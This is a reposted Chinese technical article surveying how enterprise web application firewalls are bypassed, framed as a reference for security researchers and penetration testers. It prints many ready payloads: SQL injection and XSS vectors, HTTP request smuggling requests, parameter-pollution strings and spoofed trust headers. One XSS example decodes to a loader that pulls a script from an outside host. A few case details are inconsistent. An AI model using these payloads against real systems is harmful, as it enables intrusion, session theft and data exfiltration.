【转载】企业级WAF绕过技术深度研究

本文转载来源公众号:Zacarx随笔

前言

Web应用防火墙(WAF)作为现代企业Web安全架构的核心组件,在防御SQL注入、XSS、RCE等常见攻击中扮演着关键角色。然而,随着攻防技术的不断演进,针对企业级WAF的绕过技术也在持续发展。本文基于最新的学术研究和实战案例,系统性地梳理了当前主流WAF产品的绕过技术,旨在为安全研究人员和渗透测试工程师提供技术参考。

一、WAF工作原理与检测机制

1.1 WAF架构与部署模式

企业级WAF通常采用以下三种部署模式:

网络型WAF(Network-based)

  • 部署在网络边界,以硬件设备或专用服务器形式存在
  • 保护整个网络内的所有Web应用
  • 典型代表:F5 BIG-IP ASM、Imperva SecureSphere

主机型WAF(Host-based)

  • 部署在Web服务器上,以软件形式运行
  • 仅保护部署节点上的应用
  • 典型代表:ModSecurity、NAXSI

云托管WAF(Cloud-hosted)

  • 作为SaaS服务提供,由第三方管理基础设施
  • 保护任意位置的Web应用
  • 典型代表:Cloudflare、AWS WAF、Azure WAF、Akamai

1.2 核心检测机制

现代WAF采用多层检测机制:

1.2.1 基于签名的检测(Signature-Based Detection)

工作原理:

  • 维护已知攻击模式数据库(字符串或正则表达式)
  • 将请求元素(URL、Headers、Body)与签名库匹配
  • 典型规则集:OWASP CRS(Core Rule Set)

优势:

  • 对已知攻击检测准确率高
  • 处理开销相对较低
  • 误报率低

典型规则示例:

if url_parameter "user_input" contains "UNION SELECT"
then block

1.2.2 基于规则的过滤(Rule-Based Filtering)

负向安全模型(Blacklisting):

  • 定义禁止的内容
  • 默认允许所有流量,仅阻止匹配黑名单的请求
  • 易于初始部署,但容易被绕过

正向安全模型(Whitelisting):

  • 定义允许的内容
  • 默认拒绝所有流量,仅允许符合白名单的请求
  • 安全性高,但配置复杂,维护成本高

1.2.3 异常检测(Anomaly Detection)

工作原理:

  • 学习应用正常流量基线
  • 标记偏离基线的异常请求

优势:

  • 可检测0day攻击
  • 自适应应用特性

1.2.4 基于AI/ML的检测

工作原理:

  • 使用机器学习模型(随机森林、SVM、神经网络)
  • 基于海量流量数据训练分类模型
  • 实时对新请求进行分类

优势:

  • 高准确率检测复杂和0day攻击
  • 可持续学习适应

二、主流企业级WAF产品解析

2.1 国外主流WAF产品

  
 
WAF产品厂商部署类型核心规则集市占率
Cloudflare WAF Cloudflare Cloud Managed + OWASP CRS
AWS WAF Amazon Cloud AWS Managed Rules + OWASP CRS
Azure WAF Microsoft Cloud DRS 2.1 (基于 CRS 3.2)
Google Cloud Armor Google Cloud ModSecurity + 自定义规则
F5 BIG-IP ASM F5 Networks Network/Virtual Rapid Deployment Policy
ModSecurity Trustwave/OWASP Host/Network OWASP CRS
Imperva WAF Imperva Cloud/Network/Host ThreatRadar + 自定义
Akamai Kona Akamai Cloud Adaptive Security Engine
Fortinet FortiWeb Fortinet Network/Virtual Extended Protection

2.2 OWASP CRS (Core Rule Set)

OWASP CRS是WAF领域最广泛使用的开源规则集,被大量商业WAF采用作为基础规则。

覆盖的攻击类型:

  • SQL注入(SQLi)
  • 跨站脚本(XSS)
  • 本地文件包含(LFI)
  • 远程文件包含(RFI)
  • 远程代码执行(RCE)
  • PHP注入
  • Session固定
  • HTTP协议违规
  • 恶意扫描器检测

版本演进:

  • CRS 2.x(已停止维护)
  • CRS 3.0~3.2(广泛使用)
  • CRS 3.3+(当前版本)
  • CRS 4.0(Next Generation)

偏执等级(Paranoia Level):

  • PL1:基础防护,误报率低
  • PL2:增强防护
  • PL3:严格防护
  • PL4:最大防护,误报率高

三、解析差异:WAF绕过的核心原理

3.1 HTTP解析差异(Parser Differential)

核心概念:WAF与后端应用对同一HTTP请求的理解不一致,是绕过的根本原因。

产生原因:

  • WAF与应用使用不同的HTTP解析库
  • RFC标准存在模糊性和歧义
  • 实现细节差异
  • 性能与安全的权衡

典型场景:

场景1:Content-Type解析差异

WAF可能仅检查application/x-www-form-urlencoded,而后端同时接受multipart/form-data:

POST /api/search HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="query"

' UNION SELECT password FROM users--
------Boundary--

90%以上的网站可互换接受这两种Content-Type,但WAF检测规则可能不同步。

为了方便大家理解,大家可以感受下两者差异:

image

 

场景2:参数处理差异

GET /search?q=safe&q=malicious

不同技术栈对重复参数的处理:

  
 
技术栈处理方式
PHP 使用最后一个值
ASP.NET 用逗号连接所有值
Java Servlet 返回数组
Python Flask 使用第一个值(默认)
Node.js Express 返回数组或字符串

WAF如果仅检查第一个参数而后端使用最后一个,攻击即可绕过。

3.2 归一化不一致(Normalization Inconsistency)

核心问题:WAF在应用检测规则前必须对请求进行归一化(解码、规范化路径等),如果归一化逻辑与后端不一致,会产生绕过。

常见不一致:

URL编码层级:

%253Cscript%253E  (双重URL编码)
↓ WAF解码一次
%3Cscript%3E
↓ 后端再解码
<script>

Unicode归一化:

\u003Cscript\u003E  (Unicode编码)
→ 后端解码为: <script>

路径规范化:

/path/./to/../file.php
→ WAF可能不规范化
→ 后端规范化为: /path/file.php

四、高级WAF绕过技术

4.1 编码与混淆技术矩阵

4.1.1 URL编码变种

单次编码:

< 转换为 %3C
> 转换为 %3E

双重编码:

< 转换为 %253C

混合编码:

<script> 转换为 %3Cscript%3E
<script> 转换为 <scr%69pt>

大小写变种:

%3c %3C (某些WAF区分大小写)

4.1.2 Unicode编码技巧

JavaScript Context:

\u003Cscript\u003E
\u{3c}script\u{3e}  // ES6语法

HTML Entity:

&lt;script&gt;
&#60;script&#62;
&#x3C;script&#x3E;

UTF-7编码:

+ADw-script+AD4-

UTF-32 Overlong:

∀㸀㰀script㸀alert(1)㰀/script㸀

结合Accept-Charset: utf-32头部,浏览器用UTF-8解码后触发XSS。

4.1.3 SQL注入编码

十六进制编码:

SELECT 转换为 0x53454C454354

字符函数:

CHAR(83,69,76,69,67,84) = SELECT

注释分割:

SEL/*comment*/ECT
SE/**/LECT

大小写混淆:

SeLeCt
sELEct

空白字符替换:

SELECT\x09*\x0AFROM\x0Dusers  (Tab, LF, CR)

4.1.4 字符集利用

IBM037/IBM500编码(IIS):

原始: id='union select * from users--
IBM037: %89%84=%7D%A4%95%89%96%95%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

ASP.NET支持IBM字符集,可绕过不支持此编码的WAF。

4.2 HTTP请求走私(HTTP Request Smuggling)

4.2.1 原理

利用前端(WAF/代理)和后端服务器对请求边界理解的差异,将恶意请求"走私"到后端。

核心:CL与TE的优先级差异

Content-Length (CL): 指定body长度(字节)
Transfer-Encoding: chunked (TE): 分块传输

HTTP规范对同时存在CL和TE时的处理存在模糊性,导致不同实现的差异。

4.2.2 CL.TE攻击

前端使用Content-Length,后端使用Transfer-Encoding

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 6
Transfer-Encoding: chunked

0

G

前端认为body长度为6字节,读取0\r\n\r\nG,请求结束。 后端使用chunked编码,读取0\r\n\r\n(长度0的chunk表示结束),剩余的G被当作下一个请求的开头。

攻击载荷示例:

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=
0

4.2.3 TE.CL攻击

前端使用Transfer-Encoding,后端使用Content-Length

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
X:
0

4.2.4 TE.TE攻击(混淆TE头)

Transfer-Encoding: chunked
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding:[tab]chunked

一侧识别为chunked,另一侧忽略,产生解析差异。

危害:

  • 绕过WAF规则(走私的请求未被检测)
  • 缓存投毒
  • 会话劫持
  • 请求劫持

4.3 HTTP参数污染(HTTP Parameter Pollution - HPP)

4.3.1 ASP.NET参数拼接

行为:ASP.NET使用逗号连接同名参数的所有值。

/?q=1'&q=alert(1)&q='2
→ 后端: q = "1',alert(1),'2"

在JavaScript上下文中:

var query = '1',alert(1),'2';

逗号操作符使得alert(1)被执行。

WAF绕过实例:

原始阻断:

/?q=';alert(1);//

HPP绕过:

/?q=1'+1;let+asd=window&q=def='al'+'ert'+;asd[def](1&q=2);'

ASP.NET拼接后:

q = "1'+1;let asd=window,def='al'+'ert'+;asd[def](1,2);'"

4.3.2 跨技术栈差异利用

PHP后端:

// PHP使用最后一个参数
$id = $_GET['id'];  // 获取最后一个id值

攻击:

/?id=safe&id=' OR 1=1--

WAF检查第一个id=safe(安全),PHP使用最后一个id=' OR 1=1--(恶意)。

4.4 基于Content-Type的绕过

4.4.1 JSON-Based SQL注入

研究背景:2022年,Claroty Team82发现多个主流WAF(Palo Alto、AWS、Cloudflare、F5、Imperva)不支持JSON语法检测。

绕过技术:

标准SQLi被阻断:

' UNION SELECT username, password FROM users--

JSON函数绕过:

' OR JSON_LENGTH("{}") <= 8896 UNION SELECT @@version#

PostgreSQL JSON函数:

' OR (SELECT json_agg(password) FROM users)::text LIKE '%admin%'--

MySQL JSON函数:

' OR JSON_EXTRACT('{"a":"<script>alert(1)</script>"}','$.a')--

攻击流程:

  1. 数据库支持JSON函数(PostgreSQL、MySQL、SQLite、MSSQL)
  2. WAF规则未涵盖JSON语法
  3. 恶意SQL隐藏在JSON函数调用中
  4. 绕过检测,攻击成功执行

4.4.2 Multipart/Form-Data解析差异

根据WAFFLED研究,multipart content-type存在大量解析差异攻击面。

Boundary参数延续:

RFC 2231允许通过多个参数表示单个参数值:

Content-Type: multipart/form-data;
  boundary=fake-boundary;
  boundary*0=real-;
  boundary*1=boundary

WAF取第一个boundary(fake-boundary), 后端拼接为real-boundary,导致解析差异。

完整攻击载荷:

POST /upload HTTP/1.1
Content-Type: multipart/form-data;
  boundary=fake-boundary;
  boundary*0=real-;
  boundary*1=boundary

--fake-boundary
Content-Disposition: form-data; name="field1"

safe_value
--fake-boundary--
--real-boundary
Content-Disposition: form-data; name="id"

<script>alert(document.cookie)</script>
--real-boundary--

WAF检查fake-boundary之间的内容(安全), 后端解析real-boundary之间的内容(恶意)。

其他Multipart绕过类别:

Boundary分隔符操作:

\r\n--boundary  (移除\r\n)

Content-Disposition破坏:

content-disposition: form-da\x00a; name="file"

畸形头部注入:

conten\x00-extra: something
Content-Type: text/plain\x00

字符集变更:

Content-Type: text/plain; charset=\x00UTF-8

换行符移除:

Content-Type: multipart/form-data; boundary=test\r\n\r\n
(紧接body,无空行)

4.4.3 XML外部实体注入绕过

Extra Field Addition:

<?xml version="1.0"?>
<root>
  <field1>value1</field1>
  <field2 attr="bypass">XXE_PAYLOAD</field2>
</root>

DOCTYPE Closure Confusion:

<!DOCTYPE root [...]>
<field1>XXE</field1>]
</root>

Schema操作:

<genre:schema>
  <field1>XXE_PAYLOAD</field1>invalid_char
</genre:schema>

Content-Type头移除:

POST /api HTTP/1.1
Host: target.com
(无Content-Type头,或修改为其他值)

<?xml>...</xml>

4.5 协议层绕过策略

4.5.1 HTTP方法利用

WAF规则可能仅覆盖GET/POST,使用其他方法绕过:

HEAD /api?id=' OR 1=1-- HTTP/1.1
OPTIONS /api?id=' OR 1=1-- HTTP/1.1
PUT /api?id=' OR 1=1-- HTTP/1.1
DELETE /api?id=' OR 1=1-- HTTP/1.1
PATCH /api?id=' OR 1=1-- HTTP/1.1
TRACE /api?id=' OR 1=1-- HTTP/1.1

自定义HTTP方法:

CUSTOM /api?id=' OR 1=1-- HTTP/1.1

4.5.2 头部操纵

X-Forwarded-For欺骗:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
CF-Connecting-IP: 127.0.0.1

WAF信任这些头部,认为请求来自内网,放行。

HTTP方法覆盖:

POST /api HTTP/1.1
X-HTTP-Method-Override: DELETE
X-Method-Override: PUT

URL重写:

X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /admin

绕过路径基础的访问控制。

国家代码欺骗:

CF-IPCountry: US
CloudFront-Viewer-Country: US
X-GeoIP-CC: US

4.5.3 HTTP版本差异

HTTP/1.0 vs HTTP/1.1:

  • HTTP/1.0缺少Host头部必选要求
  • HTTP/1.1更严格的规范解析

HTTP/2特性利用:

  • 头部压缩(HPACK)
  • 服务器推送
  • 请求优先级

老旧WAF可能不完全支持HTTP/2检测。

4.5.4 WebSocket协议绕过

WebSocket升级后,通信切换到ws://或wss://协议,传统HTTP WAF规则不再适用:

GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13

升级成功后,通过WebSocket发送攻击载荷:

ws.send("' OR 1=1--")

4.6 资源耗尽与时序攻击

4.6.1 超大载荷绕过

原理:WAF通常有请求体检测上限,超过限制的部分不被检查。

Cloudflare限制:

  • 131,072字节(128 KiB)限制
  • 超过此大小的请求体不被完整检查

攻击载荷:

POST /api HTTP/1.1
Content-Length: 131073

[130000字节垃圾数据]
<script>alert(1)</script>
[剩余数据]

其他WAF限制:

  • AWS WAF: 8KB请求体检测限制
  • Azure WAF: 128KB限制
  • F5 BIG-IP: 可配置,默认10MB

工具:Burp Suite的"WAF Bypadd"扩展可自动添加填充数据。

4.6.2 正则表达式拒绝服务(ReDoS)

原理:精心构造的输入触发WAF正则表达式引擎的灾难性回溯。

易受攻击的正则:

^(a+)+$
^([a-zA-Z]+)*$
(a|a)*
(a|ab)*

攻击输入:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

引擎尝试所有可能的匹配组合,CPU占用暴增,导致:

  • WAF响应超时
  • WAF降级为Fail-Open(允许所有流量)
  • WAF崩溃

4.6.3 速率限制规避

慢速攻击:

  • 保持在速率限制阈值以下
  • 分散多个IP地址
  • 使用代理链/VPN

时序绕过:如WAF有单请求处理超时(如5秒),构造复杂请求使处理超时,请求被放行。

4.7 逻辑缺陷与规则绕过

4.7.1 大小写敏感性

错误假设:WAF规则假设大小写敏感,攻击者利用大小写变换:

SeLeCt * FrOm users
UNION SELECT
UnIoN SeLeCt
<ScRipT>alert()</sCRipT>
<SCRIPT>alert()</SCRIPT>

4.7.2 注释插入

SQL注释:

SEL/**/ECT
SE/*comment*/LECT
UNION/**/SELECT
UNI/*bypass*/ON/*waf*/SELECT

HTML注释:

<!--><script>alert/**/()/**/</script>
<scr<!--bypass-->ipt>

4.7.3 空字节注入

路径截断:

/path/to/file%00.jpg

WAF检查扩展名为.jpg(安全), 后端C函数在%00处截断,实际读取/path/to/file

字符串终止:

admin'%00 OR 1=1--

4.7.4 字符集替代

IP地址表示:

127.0.0.1 (十进制)
0177.0.0.1 (八进制)
0x7F000001 (十六进制)
2130706433 (DWORD)

科学计数法:

WHERE id = 1e0  (等同于 1)

4.7.5 正则绕过技巧

未锚定的正则:

/union\sselect/  (缺少^和$)

绕过:

aaaunion selectbbb  (匹配,但无效SQL)

更好的正则应为:

/\bunion\s+select\b/i

嵌套标签绕过:

<scr<script>ipt>alert()</script>

WAF规则替换<script>为空,结果:

<script>alert()</script>

4.7.6 上下文混淆

SQL in JSON:

{"query": "' OR 1=1--"}

WAF可能仅按JSON解析,未识别SQL注入上下文。

JavaScript in HTML属性:

<img src=x onerror="eval(atob('YWxlcnQoMSk='))">

Base64编码绕过XSS规则。

4.8 针对AI/ML-based WAF的对抗技术

4.8.1 逃避攻击(Evasion Attacks)

原理:对恶意载荷进行微小扰动,使其跨越ML模型的决策边界,被误分类为良性。

梯度基础方法(白盒):

  • FGSM (Fast Gradient Sign Method)
  • PGD (Projected Gradient Descent)
  • C&W Attack

查询基础方法(黑盒):

  • 通过大量查询学习模型行为
  • 迭代调整载荷直到绕过

实例:

原始阻断:

eval(atob('YWxlcnQoMSk='))

扰动后绕过:

new Function('a'+'lert(1)')()

4.8.2 模型推断攻击

目标:通过观察WAF响应,推断ML模型的内部逻辑。

方法:

  1. 发送大量不同载荷
  2. 记录阻断/允许响应
  3. 训练代理模型模拟WAF行为
  4. 针对代理模型设计绕过
  5. 在真实WAF测试

防御难点:

  • 高查询成本
  • 需要精确模拟
  • 可能被速率限制阻止

4.8.3 对抗样本生成

示例(open-appsec):

基础载荷:

alert(1)

被阻断后,快速变换:

confirm(1)  // 立即绕过

继续适应:

prompt(1)
new Function('alert(1)')()

ML模型需要重新训练才能覆盖新变种,但黑客可持续生成新变种。


五、真实案例分析

案例1:Cloudflare WAF - Onbeforetoggle事件绕过

目标: 媒体网站,CloudFront保护

发现过程:

  1. 探测HTML标签,发现<script>被阻断
  2. 测试JavaScript事件处理器
  3. 发现onbeforetoggle事件未被阻断

最终载荷:

<button popovertarget=x>Next</button>
<xss onbeforetoggle='eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs="))' popover id=x>XSS</xss>

技术要点:

  • 利用HTML5 Popover API
  • onbeforetoggle事件在popover显示/隐藏前触发
  • Base64编码绕过关键词检测
  • 需要用户点击按钮触发

案例2:CloudFront + F5 BIG-IP ASM - Regex捕获组绕过

目标: 在线银行,双重WAF保护(CloudFront + F5 BIG-IP ASM)

尝试1(失败):

eval(atob('dmFyIH...'))

eval关键词被阻断

尝试2(失败):

window[atob('ZXZhbA==')]( ... )

atob关键词被阻断

最终成功:

`e1v2a3l4a5t6o7b`.replace(/(.).(.).(.).(.).(.).(.).(.).(.)/,
  function(match,$1,$2,$3,$4,$5,$6,$7,$8) {
    var e=this[$1+$2+$3+$4];
    var x=this[$5+$6+$7+$8];
    e(x(`dmFyIH...`));
  }
);

原理:

  • 正则捕获组提取字符: e,v,a,l,a,t,o,b
  • this[$1+$2+$3+$4] 动态构造 eval
  • this[$5+$6+$7+$8] 动态构造 atob
  • 避免直接出现关键词

替代方案:

self["\x65\x76\x61\x6c"](
  self["\x61\x74\x6f\x62"](
    "base64_payload"
  )
)

使用十六进制编码规避关键词。

案例3:Azure Application Gateway - 大载荷绕过

目标: 医疗服务提供商,Azure WAF保护

问题:FROM关键词被严格阻断

发现:在JSON请求体中添加大量垃圾数据后,SQLi载荷未被检测。

绕过载荷:

POST /api/search HTTP/1.1
Content-Type: application/json
Content-Length: 150000

{
  "query": "[130KB垃圾数据]' UNION SELECT password FROM users--"
}

技术补充:使用PostgreSQL box()几何类型转换函数,无需FROM关键词:

' OR box('(0,0),(1,1)') <@ box'((0,0),(SELECT version(),1))'--

错误信息泄露数据库版本,实现无FROM的SQL注入。

案例4:Google Cloud Armor - Parameter Pollution + 大小写

场景: 自动化渗透测试工具(Hackbot)探测

发现1: 应用对参数名大小写不敏感

?Query=test 等同于 ?query=test

发现2: 利用此特性构造绕过

?Query=safe&query=<script>alert(1)</script>

WAF检查Query参数(大写), 后端读取query参数(小写), 实现绕过。

案例5:AWS WAF多规则集测试

测试结果:

 
 
AWS WAF规则集绕过率
AWS Managed Rules 100%
Cyber Security Cloud 100%
F5 Rule Set 100%
Cloudbric Rule Set 部分绕过
Fortinet Rule Set 部分绕过

有效绕过载荷:

/?id=1/union/union/select/select+1,2,3/*
/?id=1+un//ion+sel//ect+1,2,3--
/?id=1;select+1&id=2,3+from+users+where+id=1--

关键技术:

  • 双写关键词(union/union)利用清洗逻辑
  • 注释符分割
  • HPP技术

六、自动化绕过工具与技术

6.1 WAF指纹识别

WAFW00F

wafw00f https://target.com

# 检测到的WAF:
# Cloudflare (Cloudflare Inc.)

识别特征:

  • HTTP响应头:Server: cloudflare
  • Cookie:__cfduid
  • 特定阻断页面

Nmap NSE脚本

nmap -p 443 --script http-waf-detect target.com
nmap --script http-waf-fingerprint target.com

6.2 SQLMap Tamper脚本

SQLMap的--tamper选项提供多种绕过脚本:

sqlmap -u "http://target.com?id=1" \
  --tamper=space2comment,between \
  --level=5 --risk=3

常用Tamper脚本:

脚本名称功能示例
space2comment 空格替换为注释 UNION SELECT → UNION/**/SELECT
charencode URL编码 SELECT → %53%45%4C%45%43%54
base64encode Base64编码 SELECT → U0VMRUNUCg==
between AND/OR替换为BETWEEN 1 AND 1 → 1 BETWEEN 0 AND 2
randomcase 随机大小写 SELECT → SeLeCt
versionedkeywords 添加版本注释 UNION → /*!50000UNION*/
apostrophemask 单引号替换 ' → %EF%BC%87
htmlencode HTML实体编码 < → &lt;

自定义Tamper脚本示例:

# tamper/custombypass.py
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    # 实现自定义绕过逻辑
    payload = payload.replace("UNION", "/*!50000UNION*/")
    payload = payload.replace("SELECT", "/*!50000SELECT*/")
    return payload

6.3 Burp Suite扩展

HTTP Request Smuggler

  • 自动检测CL.TE、TE.CL、TE.TE漏洞
  • 生成走私载荷
  • 验证响应差异

WAF Bypass

  • 多种编码方式
  • 自动Fuzz WAF规则
  • 生成绕过报告

IP Rotate

  • 通过API网关轮换IP
  • 避免被WAF封禁
  • 支持AWS API Gateway、Google Cloud

Hackvertor

  • 强大的编码/解码工具
  • 支持链式转换
  • 自定义编码器

使用示例:

<@base64_0>SELECT * FROM users<@/base64_0>
<@hex_0><@url_0>alert(1)<@/url_0><@/hex_0>

6.4 WAFFLED工具

基于学术研究开发的WAF绕过模糊测试工具:

核心功能:

  • Grammar-based fuzzing
  • 自动识别解析差异
  • 支持multipart/form-data、application/xml、application/json
  • 针对AWS、Azure、Cloudflare、GCP、ModSecurity

使用流程:

# 1. 配置目标
vim config.yaml

# 2. 生成测试载荷
python waffled.py --grammar multipart.abnf --generate

# 3. 测试WAF
python waffled.py --test --waf cloudflare

# 4. 分析结果
python waffled.py --analyze --output report.html

发现的绕过示例:

  • 1207个唯一绕过
  • 24种绕过分类
  • 90%+网站受影响

七、前沿研究方向

7.1 WAFFLED研究成果

发表: USENIX Security 2025

核心贡献:

  • 首次系统性研究WAF解析差异
  • 自动化fuzzing方法论
  • 1207个唯一绕过
  • 覆盖5大WAF、6大框架

7.2 HTTP/2与HTTP/3绕过

研究重点:

  • HTTP/2特有攻击面
  • HPACK头部压缩利用
  • HTTP/3 QUIC协议
  • 多路复用请求走私

八、总结

WAF 并非安全的终极防线。研究显示,高达 70.6% 的 WAF 可以被高级绕过技术突破,而其根源在于 HTTP 协议的复杂性和模糊性导致的解析差异:不同 WAF 与后端框架在归一化逻辑和输入处理上存在不一致,从而形成检测盲区。同时,攻击者的手段也在持续演进——从早期的简单混淆,发展到利用协议漏洞、构造对抗样本,以及借助自动化工具批量生成变体。面对这种攻防不对称的格局,单纯依赖 WAF 只能提供有限保护,真正有效的安全策略应结合应用层防护、统一的输入解析与语义检测机制,以实现纵深防御与持续适应性安全。


参考文献

[1] Akhavani, S. A., et al. (2025). "WAFFLED: Exploiting Parsing Discrepancies to Bypass Web Application Firewalls." USENIX Security Symposium.

[2] Wang, Q., et al. (2024). "Break the Wall from Bottom: Automated Discovery of Protocol-Level Evasion Vulnerabilities in Web Application Firewalls." IEEE S&P.

[3] Jabiyev, B., et al. (2021). "T-Reqs: HTTP Request Smuggling with Differential Fuzzing." ACM CCS.

[4] Qu, Z., et al. (2022). "AutoSpear: Towards Automatically Bypassing and Inspecting Web Application Firewalls." BlackHat Asia.

[5] OWASP Foundation. "SQL Injection Bypassing WAF." 

https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

[6] Claroty Team82. (2022). "JS-ON: Security-OFF - Abusing JSON-Based SQL to Bypass WAF." https://claroty.com/team82/research

[7] MDSec. (2024). "When WAFs Go Awry: Common Detection & Evasion Techniques." https://www.mdsec.co.uk

[8] Ethiack. (2025). "Bypassing WAFs with Parameter Pollution." https://blog.ethiack.com

[9] PortSwigger Research. "Evading defences using VueJS script gadgets." https://portswigger.net/research

[10] WAFW00F: https://github.com/EnableSecurity/wafw00f

[11] SQLMap: https://github.com/sqlmapproject/sqlmap

[12] Burp Suite: https://portswigger.net/burp

[13] WAFFLED: https://github.com/sa-akhavani/waffled

[14] Awesome WAF: https://github.com/0xInfection/Awesome-WAF

[15] CVE-2022-39955: OWASP CRS - Content-Type charset bypass

[16] CVE-2022-39956: OWASP CRS - Character encoding scheme bypass

[17] CVE-2022-39957: OWASP CRS - Accept header charset bypass

[18] CVE-2022-39958: OWASP CRS - Range header data exfiltration

[19] CVE-2024-1019: ModSecurity - Path confusion bug

[20] CVE-2024-6783: Vue 2 - Template compiler XSS

转载链接:https://mp.weixin.qq.com/s/ZJRiaI1BlZZrwOlmdsxyLg?mpshare=1&scene=1&srcid=1013uogXoIoZQ95738tZU7Nh&sharer_shareinfo=966a7be3148928677189f32a4f94a79b&sharer_shareinfo_first=966a7be3148928677189f32a4f94a79b&from=industrynews&color_scheme=light#rd

 
posted @ 2025-10-13 10:28  wAn9  阅读(57)  评论(0)    收藏  举报